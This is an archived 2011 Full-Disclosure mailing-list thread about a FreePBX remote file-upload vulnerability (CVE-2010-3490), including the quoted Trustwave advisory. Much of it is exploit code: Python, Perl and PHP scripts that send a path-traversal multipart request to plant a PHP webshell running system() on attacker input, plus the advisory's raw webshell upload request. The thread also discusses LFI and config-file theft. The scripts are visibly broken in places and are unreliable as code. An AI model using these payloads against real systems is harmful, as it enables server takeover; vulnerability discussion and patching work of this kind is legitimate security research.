Hello, Yes i noticed this last night, and have not yet recoded a PoC using the full path, but to make one using your xss, i might have to modify abit more...hmm, im only testing one box wich was busted/broken up by a 'breakin' , thats why, am trying to figure how... but yes, there is more bugs than just this, i will relook at the tested poc with your comments and actually, i should have picked that up from the broken poc, i actually did, wonder why the trustwave/spiderlabs vulns showed one path yet posted to another... then i saw another apparent rfi, and this aapprently needed 'admin' credentials...so i thought this was possibly also the case with the...rather broken SpiderLabs poc...as i thought it was...however, thankyou, i am not so confident with php and the whole rfi thing, so i am basically trying to fix and patch a brken box...atleast i have enough code snippets to fix some problems,... one of those PoC was not written by me.... so there is definately 'in the wild' exploits for this... no doubt. I just want to patch this one box and gtfo of dodge. anyhow cheers, ill redo the poc and test again.. regards, xd
On 19 September 2011 03:28, Grandma Eubanks <[email protected]> wrote: > Well, my disclosures involved one boring xss bug and several other more > interesting ones like grabbing the config file. I wouldn't of disclosed if > it was just reflected xss. > > Anyway, I still don't understand what you're trying to do. You're not even > posting to the correct page that has the form you're trying to exploit. > You're still stuck on their PoC and not the vulnerability information. Yes, > their PoC is seemingly wrong. > > POST /admin/config.php > > But, vulnerability lies in /recordings/page.recordings.php > > Also, use my full path disclosure problem to see if it's even installed in > the default directory of /var/www/. > > On Sat, Sep 17, 2011 at 3:51 PM, xD 0x41 <[email protected]> wrote: > >> Hello, >> Thankyou for your input regarding this, the issue is not a matter of >> where to put files, nor of LFI, it is more of 'why is this PoC made for >> non-user accounts,and can it be used remotely by attackers'. >> >> I have written 3 or so PoC's for this and also for another bug in this, >> they can b found here: >> #!/usr/bin/env python >> import urllib, re, os, httplib, urllib2, time, socket, getopt, sys >> >> host = $host >> port = 80 >> >> s = socket.socket('socket.AF_INET,socket.SOCK_STREAM\r\n') >> ##s.connectHTTPS((host,port)) >> s.connectHTTP((host,port)) >> s.send( >> 'POST /admin/config.php HTTP/1.1\r\n' >> 'Host: ' + host + '\r\n' >> 'User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;en-US; >> rv:1.9.1.7) Gecko/20101221 Firefox/3.5.7\r\n' >> 'Accept: >> text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' >> 'Accept-Language: en-us,en;q=0.5\r\n' >> 'Accept-Encoding: gzip,deflate\r\n' >> 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n' >> 'Keep-Alive: 300\r\n' >> 'Proxy-Connection: keep-alive\r\n' >> 'Referer: http://' + host + '/admin/config.php\r\n' >> 'Cookie: ARI=cookieValue; PHPSESSID=cookieValue\r\n' >> 'Authorization: Basic base64auth\r\n') >> 'Content-Type: multipart/form-data;\r\n' >> 'boundary=---------------------------5991806838789183981588991120\r\n' >> 'Content-Type: multipart/form-data;\r\n' >> 'boundary=---------------------------5991806838789183981588991120\r\n' >> 'Content-Length: 116089\r\n' >> '\r\n' >> '-----------------------------5991806838789183981588991120\r\n' >> 'Content-Disposition: form-data; name="display"\r\n' >> '\r\n' >> 'recordings\r\n' >> '-----------------------------5991806838789183981588991120\r\n' >> 'Content-Disposition: form-data; name="action"\r\n' >> '\r\n' >> 'recordings_start\r\n' >> '-----------------------------5991806838789183981588991120\r\n' >> 'Content-Disposition: form-data; name="usersnum"\r\n' >> '\r\n' >> '../../../../../var/www/html/admin/zmeu.php\r\n' >> '-----------------------------5991806838789183981588991120\r\n' >> 'Content-Disposition: form-data; name="ivrfile"; >> filename="webshell.php"\r\n' >> 'Content-Type: application/octet-stream\r\n' >> '\r\n' >> '<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n' >> '-----------------------------5991806838789183981588991120--\r\n' >> >> >> Then i found it did not work , and i KNOW there is a bug affecting things >> for this area of boxes... I cannot say alot more about that but i will only >> say, there is bugs still affecting this, and im trying to secure one box >> only for a client... so what credentials do i need? >> anyhow, there is also one wich i tried in perl wich i have now made >> connect to both ports 80/443 and try, this seems to be pretty accurate...yet >> again it does nothing.. >> >> #!/usr/bin/perl >> ## freepbx 2o11 exploit ... converted to rough-perl :P >> use IO::Socket; >> use Crypt::SSLeay; >> use Net::SSL; >> use warnings; >> >> if (@ARGV<3) { >> print "Usage:\n"; >> print "pbx.pl <host> <port> <cmd>\n"; >> exit; >> } >> my $host=$ARGV[0]; >> my $port=$ARGV[1]; >> my $cmd=$ARGV[2]; >> >> print "[+] Connecting to host..\n"; >> $sock = Net::SSL->new(Proto => "tcp", PeerAddr => "$host",PeerPort => >> "$port",Timeout => 10); >> if(!$sock) { >> print "[-] Cant Connect..\n"; >> } >> print "[+] Connected.. Sending Buffer\n"; >> >> my $temp= >> "---------------------------5991806838789183981588991120\n". >> "Content-Disposition: form-data; name=\"display\"\n". >> "\n". >> "---------------------------5991806838789183981588991120\n". >> "Content-Disposition: form-data; name=\"action\"\n". >> "\n". >> "---------------------------5991806838789183981588991120\n". >> "Content-Disposition: form-data; name=\"usersnum\"\n". >> "\n". >> "../../../../../var/www/html/admin/zmeu\n". >> "---------------------------5991806838789183981588991120\n". >> "Content-Disposition: form-data; name="ivrfile"; filename="zmeu.php\n". >> "Content-Type: application/octet-stream\n". >> "$cmd\n"; >> >> my $buffer_size=length($temp); >> >> $buffer= >> "POST /admin/config.php HTTP/1.1\n". >> "Host: $host:80\n". >> "Keep-Alive: 300\n". >> "Connection: keep-alive\n". >> "Referer: http://$host:80/n";. >> "Cookie: sid=1\; testing=1; x\n". >> "Content-Type: multipart/form-data\n. >> "-----------------------------5991806838789183981588991120--\n\n"; >> >> $cmd_chk=0; >> $buffer=~s/siz/$buffer_size/g; >> print $sock $buffer; >> if ($sock) { >> print "[+] Buffer sent...running command $cmd\n"; >> print $sock $buffer; >> while ($answer=<$sock>) { >> if ($answer=~/defaultStatus="(.*)";/g) { >> print $1."\n"; >> } >> if ($answer=~/<td><pre><b>>/g) { >> $cmd_chk=1; >> } >> if ($cmd_chk==1) { >> if ($answer=~/<\/pre><\/td><\/tr>/g){ >> exit; >> } else { >> print $answer; >> print results "[+] $answer\n"; >> } >> } >> } >> } >> >> although, my perl is pathetic :P so i dont know if thats right.... >> then i tried in php , and seems to replicate perfectly... and again, no >> file-ivrrecordings.php appearing :s >> >> <?php >> echo "\n\n"; >> echo >> "+---------------------------------------------------------------------+\r\n"; >> echo "| FreePBX 2o11 Remote File Upload Exploit |\r\n"; >> echo "| Usage: php exploit.php site.com |\r\n"; >> echo >> "+--------------------------------------------------------------------+\r\n"; >> echo "\n"; >> echo "[+] Code to write to the file (Ex. id;uname -a):\r\n\n"; >> $code = trim(fgets(STDIN)); >> $socket = @fsockopen($argv[1], 80, $eno, $estr, 10); >> if(!$socket) { >> die("[-] Couldnt connect to: ".$argv[1].". Operation aborted."); >> } >> $part1 = "POST /admin/config.php HTTP/1.1\r\n"; >> $part1 .= "Host: " . $argv[1] . "\r\n"; >> $part1 .= "User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X >> 10.4.6)\r\n"; >> $part1 .= "Accept: >> text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; >> $part1 .= "Accept-Language: en-us,en;q=0.5\r\n"; >> $part1 .= "Accept-Encoding: gzip,deflate\r\n"; >> $part1 .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; >> $part1 .= "Connection: keep-alive\r\n"; >> $part1 .= "Keep-Alive: 300\r\n"; >> $part1 .= "Proxy-Connection: keep-alive\r\n"; >> $part1 .= "Referer: http://101.11.1.11/\r\n";; >> $part1 .= "Cookie: ARI=cookieValue; PHPSESSID=cookieValue\r\n"; >> $part1 .= "Authorization: Basic base64auth\r\n"; >> $part2 .= "Content-Type : multipart/form-data;\r\n"; >> $part2 = >> "boundary=-----------------------------5991806838789183981588991120--\r\n"; >> $part2 .= "Content-Type : multipart/form-data;\r\n"; >> $part2 = >> "boundary=-----------------------------5991806838789183981588991120--\r\n"; >> $part2 = "Content-Length: 116089\r\n"; >> $part2 .= "\r\n"; >> $part2 .= >> "-----------------------------5991806838789183981588991120\r\n"; >> $part2 .= "Content-Disposition: form-data; >> name=\"display\"\r\n"; >> $part2 .= "\r\n"; >> $part2 .= "recordings\r\n"; >> $part2 .= >> "---------------------------5991806838789183981588991120\r\n"; >> $part2 .= "Content-Disposition: form-data; name=\"action\"\r\n"; >> $part2 .= "\r\n"; >> $part2 .= "recordings_start\r\n"; >> $part2 .= >> "---------------------------5991806838789183981588991120\r\n"; >> $part2 .= "Content-Disposition: form-data; >> name=\"usersnum\"\r\n"; >> $part2 .= "\r\n"; >> $part2 .= "Content-Disposition: form-data; >> name=\"../../../../../var/www/html/xd/\"\r\n"; >> $part2 .= >> "---------------------------5991806838789183981588991120\r\n"; >> $part2 .= "Content-Disposition: form-data; name=\"ivrfile\"; >> filename=\"shell.php\"\r\n"; >> $part2 .= "Content-Type: application/octet-stream\r\n"; >> $part2 .= "\r\n"; >> $part2 .= "<?php echo \'<pre>\' + system(\'$code\') + >> \'</pre>\'; ?>\r\n"; >> $part2 .= >> "-----------------------------5991806838789183981588991120--\r\n"; >> $part1 .= $part2; >> fwrite($socket, $part1); >> echo "[!] Check the upload folder (/var/www/html/xd) .."; >> } else { >> echo "\n\n"; >> echo >> "+-----------------------------------------------------------+\r\n"; >> echo "| Usage: php exploit.php site.com |\r\n"; >> echo >> "+-----------------------------------------------------------+\r\n"; >> echo "\n\n"; >> } >> ?> >> In the php one i tried using a different folder... what is it , the server >> is NOT patched. >> >> I may have missed something, but i was able to replicate the EXACT header >> shown in the spiderlabs, and on this system, nothing showed. It is hand >> patched, so im beginning to wonder if somehow the owner has fluked this one >> :? (thatd b great really), but there is a bug still, if not this one, then >> another one wich is allowing problems for me. >> i will have to read as there seems to be a few more emails on this, >> thankyou for your input, i will have to test again or look at the code and >> makesure it is right.. i hurried this but the python exploit code, was >> already made for this PoC, i was given that. >> This box is just VOiP of headaches. >> Thanks for your assistance,and thankyou for those xss bugs, i may have to >> test for those also, altho the problem seems more serious than that. >> xd >> www.crazycoders.com / #haxnet@Ef >> >> >> >> >> >> >> On 18 September 2011 03:58, Grandma Eubanks <[email protected]> wrote: >> >>> So, I found several FreePBX vulnerabilities about a week before >>> SpiderLabs came out with this new PoC (which I can't believe I missed). >>> http://seclists.org/fulldisclosure/2010/Jul/180 >>> Now, you can use my LFI and transport particular files to a TFTP >>> accessible path, assuming TFTP is enabled on that server (which it seems to >>> be in most of the cases). >>> >>> As for the vulnerability you're using...how exact are you being? Take a >>> look at the code: >>> $dest = "{$usersnum}-"; >>> $destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix; >>> move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename); >>> >>> Alright, so the usernumber is a user definable value and there was no >>> check to make sure this was an actual integer. So the problem here is you're >>> allowed to specify a path to upload a file to. Now, let's take a look at >>> what you put for your path: >>> >>> Content-Disposition: form-data; name="usersnum" >>> ../../../../../var/www/html/admin/SpiderLabs >>> >>> So, they access their uploaded file at: >>> http://site.com/admin/SpiderLabs-ivrrecording.php<http://10.10.1.3/admin/SpiderLabs-ivrrecording.php> >>> >>> Because ../../../../ gets passed the ivrfile and ../ gets passed the >>> tmp_name. >>> >>> That does not mean the file has to be uploaded in /admin, it can be >>> uploaded to the local file sever anywhere the ARI has appropriate privileges >>> to as was mentioned, this is just the PoC. I wouldn't be surprised if PoC's >>> come out that shouldn't be functional for a normal person as to prevent >>> usage without understanding. >>> >>> There's no check before move_uploaded_to for the user supplied $usernum. >>> Now, as I haven't looked in-depth at the supplied PoC, I could be wrong. >>> However, given my experience with their software already, I can pretty much >>> believe this vuln at face value. >>> >>> My main question is, are you trying this without any credentials? >>> >>> On Fri, Sep 16, 2011 at 10:49 PM, xD 0x41 <[email protected]> wrote: >>> >>>> Just like to point out this is total rubbish, along with the other >>>> freePBX vuln wich was listed and, wich i stupidly wasted time writing a poc >>>> for 9wich only works if admin is enabled) >>>> I DID make this in 3 languages, and had it tested, it ONLY ran under >>>> admin conditions...whats so useful then?? >>>> I have got the PoC's I made, and i copied the header to a T, it is NOT >>>> one bit different to the example header BUT I ADDED CODE to send it >>>> properly..and to open any 'webshell' >>>> ok lets break it down: >>>> >>>> >>>> Trustwave's SpiderLabs Security Advisory TWSL2010-005: >>>> FreePBX recordings interface allows remote code execution >>>> ^^^here we have code execution (does not say it requires ADMIN todo this >>>> and someone basically at a console, pressing a button for you :P) >>>> >>>> https://www.trustwave.com/spiderlabs/advisories/TWSL2010-005.txt >>>> >>>> Published: 2010-09-23 >>>> Version: 1.0 >>>> >>>> Vendor: FreePBX (http://www.freepbx.org/) >>>> Product: FreePBX and VOIP solutions (AsteriskNOW, TrixBox, etc) using it >>>> Version(s) affected: 2.8.0 and below >>>> >>>> Product Description: >>>> FreePBX is an easy to use GUI (graphical user interface) that controls >>>> and >>>> manages Asterisk, the world's most popular open source telephony engine >>>> software. FreePBX has been developed and hardened by thousands of >>>> volunteers, >>>> has been downloaded over 5,000,000 times, and is utilized in an >>>> estimated >>>> 500,000 active phone systems. >>>> >>>> Source: http://www.freepbx.org >>>> Credit: Wendel G. Henrique of Trustwave's SpiderLabs >>>> >>>> CVE: CVE-2010-3490 >>>> >>>> Finding: >>>> The configuration interface for FreePBX is prone to a remote arbitrary >>>> code >>>> execution on the system recordings menu. FreePBX doesn't handle file >>>> uploads >>>> in a secure manner, allowing an attacker to manipulate the file >>>> extension >>>> and the beginning of the uploaded file name. >>>> >>>> The piece of code below, found in page.recordings.php, illustrates part >>>> of >>>> the recordings upload feature. >>>> ^^^^ page.recordings.php not accessible or non existent. >>>> >>>> /* Code removed to fit better on advisory */ >>>> <?php >>>> if (isset($_FILES['ivrfile']['tmp_name']) && >>>> is_uploaded_file($_FILES['ivrfile']['tmp_name'])) { >>>> if (empty($usersnum)) { >>>> $dest = "unnumbered-"; >>>> } else { >>>> $dest = "{$usersnum}-"; >>>> } >>>> $suffix = substr(strrchr($_FILES['ivrfile']['name'], "."), 1); >>>> $destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix; >>>> move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename); >>>> echo "<h6>"._("Successfully uploaded")." >>>> ".$_FILES['ivrfile']['name']."</h6>"; >>>> $rname = rtrim(basename($_FILES['ivrfile']['name'], $suffix), '.'); >>>> } ?> >>>> >>>> /* Code removed to fit better on advisory */ >>>> >>>> When a file is uploaded, a copy is saved temporarily under the /tmp/ >>>> directory, where the name of the file is composed of >>>> user-controlled-staticname.extension, where: >>>> >>>> "user-controlled" is $usersnum variable. >>>> "staticname" value is -ivrrecording. >>>> "extension" is controlled by the user. >>>> >>>> If $usersnum variable is not defined, then a static string (unnumbered) >>>> is used. >>>> >>>> Finally, when the user clicks on the save button on the System >>>> Recordings /// ohhhh ok so someone MUSt 'save' it, in PHYSICAL form, >>>> this >>>> bit, was what i overlooked in this first adv.... wth!!! >>>> interface, the file is saved with the original file name provided by the >>>> user under the /var/lib/asterisk/sounds/custom/ >>>> directory. /// and bang, sorry but unable to >>>> see >>>> this file once yet... abit useful eh ?> guess ppl dont press 'save' to an >>>> unknown,nothing-on-it,recording. >>>> >>>> >>>> When uploading a file, an attacker can manipulate the $usersnum variable >>>> to >>>> perform a path traversal attack and save it anyplace that the web >>>> server /// ok this, i dont really care for, but it is abit useless >>>> when >>>> the remote code is really the feature of this >>>> user has access, for example the Apache's DocumentRoot. This allows an >>>> attacker to upload malicious code to the web server and execute it under >>>> the >>>> webserver's access permissions. >>>> >>>> The HTTP request below illustrates the upload of a phpshell. >>>> >>>> POST /admin/config.php HTTP/1.1 >>>> Host: 10.10.1.3 >>>> User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; >>>> en-US; rv:1.9.1.7) Gecko/20101221 Firefox/3.5.7 >>>> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 >>>> Accept-Language: en-us,en;q=0.5 >>>> Accept-Encoding: gzip,deflate >>>> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 >>>> Keep-Alive: 300 >>>> Proxy-Connection: keep-alive >>>> Referer: http://10.10.1.3/admin/config.php >>>> Cookie: ARI=cookieValue; PHPSESSID=cookieValue >>>> Authorization: Basic base64auth >>>> Content-Type: multipart/form-data; >>>> boundary=---------------------------5991806838789183981588991120 >>>> Content-Length: 116089 >>>> >>>> -----------------------------5991806838789183981588991120 >>>> Content-Disposition: form-data; name="display" >>>> >>>> recordings >>>> -----------------------------5991806838789183981588991120 >>>> Content-Disposition: form-data; name="action" >>>> >>>> recordings_start >>>> -----------------------------5991806838789183981588991120 >>>> Content-Disposition: form-data; name="usersnum" >>>> >>>> ../../../../../var/www/html/admin/SpiderLabs >>>> -----------------------------5991806838789183981588991120 >>>> Content-Disposition: form-data; name="ivrfile"; filename="webshell.php" >>>> Content-Type: application/octet-stream >>>> >>>> <?php >>>> /* WebShell code goes here */ >>>> ?> >>>> >>>> -----------------------------5991806838789183981588991120-- >>>> /// good luck trying to find this and note, now we have to access a file at >>>> where??? lets see.... >>>> >>>> To access the webshell in this example, an attacker would use >>>> the following path: http://10.10.1.3/admin/SpiderLabs-ivrrecording.php >>>> // ahhh admin/ dir ?!! so thts all it was! damn, crp on me eh! ohwell... >>>> there goes remote-code-exec eh ? this would be more like,local,nothing,no >>>> patch was issued... >>>> >>>> Maintainer Response: >>>> The maintainer has released a patch to address this issue for all >>>> versions //please provide a PoC wich works, as MY ONES dont, so, >>>> please.. am waiting, id prefer the PoC to stay private,but i request it >>>> please -ty >>>> of the software 2.3 and newer. >>>> >>>> Details of the patch can be found here: >>>> http://www.freepbx.org/trac/ticket/4553 >>>> >>>> Remediation Steps: >>>> Install the maintainer-provided patch. >>>> >>>> Vendor Communication Timeline: >>>> 08/13/10 - Initial contact >>>> 08/18/10 - Vulnerability disclosed >>>> 09/16/10 - Initial fix proposed by >>>> maintainer // so we are >>>> fixing a bug,wich can only b used as an admin... hmmm >>>> 09/22/10 - Fix reviewed, improved, and released by maintainer >>>> 09/23/10 - Advisory public release >>>> >>>> Revision History: >>>> 1.0 Initial publication >>>> >>>> About Trustwave: >>>> Trustwave is the leading provider of on-demand and subscription-based >>>> information security and payment card industry compliance management >>>> solutions >>>> to businesses and government entities throughout the world. For >>>> organizations >>>> faced with today's challenging data security and compliance environment, >>>> Trustwave provides a unique approach with comprehensive solutions that >>>> include >>>> its flagship TrustKeeper compliance management software and other >>>> proprietary >>>> security solutions. Trustwave has helped thousands of >>>> organizations--ranging >>>> from Fortune 500 businesses and large financial institutions to small >>>> and >>>> medium-sized retailers--manage compliance and secure their network >>>> infrastructure, data communications and critical information assets. >>>> Trustwave >>>> is headquartered in Chicago with offices throughout North America, >>>> South America, Europe, Africa, China and Australia. For more >>>> information, >>>> visit https://www.trustwave.com >>>> >>>> About Trustwave's SpiderLabs: >>>> SpiderLabs is the advance security team at Trustwave responsible for >>>> incident >>>> response and forensics, ethical hacking and application security tests >>>> for >>>> Trustwave's clients. SpiderLabs has responded to hundreds of security >>>> incidents, performed thousands of ethical hacking exercises and tested >>>> the >>>> security of hundreds of business applications for Fortune 500 >>>> organizations. >>>> For more information visit https://www.trustwave.com/spiderlabs >>>> >>>> Disclaimer: >>>> The information provided in this advisory is provided "as is" without >>>> warranty >>>> of any kind. Trustwave disclaims all warranties, either express or >>>> implied, >>>> including the warranties of merchantability and fitness for a particular >>>> purpose. In no event shall Trustwave or its suppliers be liable for any >>>> damages whatsoever including direct, indirect, incidental, >>>> consequential, >>>> loss of business profits or special damages, even if Trustwave or its >>>> suppliers have been advised of the possibility of such damages. Some >>>> states >>>> do not allow the exclusion or limitation of liability for consequential >>>> or >>>> incidental damages so the foregoing limitation may not apply. >>>> >>>> Anyhow, this was the last freePBX PoC i saw,and just am doing auditing >>>> atm, i realised i had already tested this exploit but i just dont see what >>>> or if i missed something here.. i did disclose my own Pocs on the seclists, >>>> and if theyre needed, i guess they would not be to hard to find nowdays.. >>>> but this topic i need some closure on... i have to fix/advise and, i guess >>>> i >>>> cannot do it to my own skill level would like to, or, im wrong, and it is >>>> just my own code (hence why i mean skill level), at perl/php or whatever >>>> codes were made, but, i did use working code for it..and it did not >>>> work.... >>>> i am sure of that, and would be happy to find the working pocs anytime... >>>> but id prefer to see that header PoC,as i repeated this exactly, line by >>>> line and debugged it to b sure,and it was perfect..and no go :s, it is >>>> frustrating because VOiP is now becoming fastly, a BIG area of the >>>> internet,and alot more people want to know why they install and register >>>> 'elastix' for ex and have 3000 plugins autop... some ppl want a pruned >>>> version, or, fixed versions without updates, it is just getting to be a way >>>> bigger area,and will grow... >>>> Please try to understand that this is only research. >>>> cheers, >>>> xd / #haxnet@Ef >>>> >>>> _______________________________________________ >>>> Full-Disclosure - We believe in it. >>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html >>>> Hosted and sponsored by Secunia - http://secunia.com/ >>>> >>> >>> >> >
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
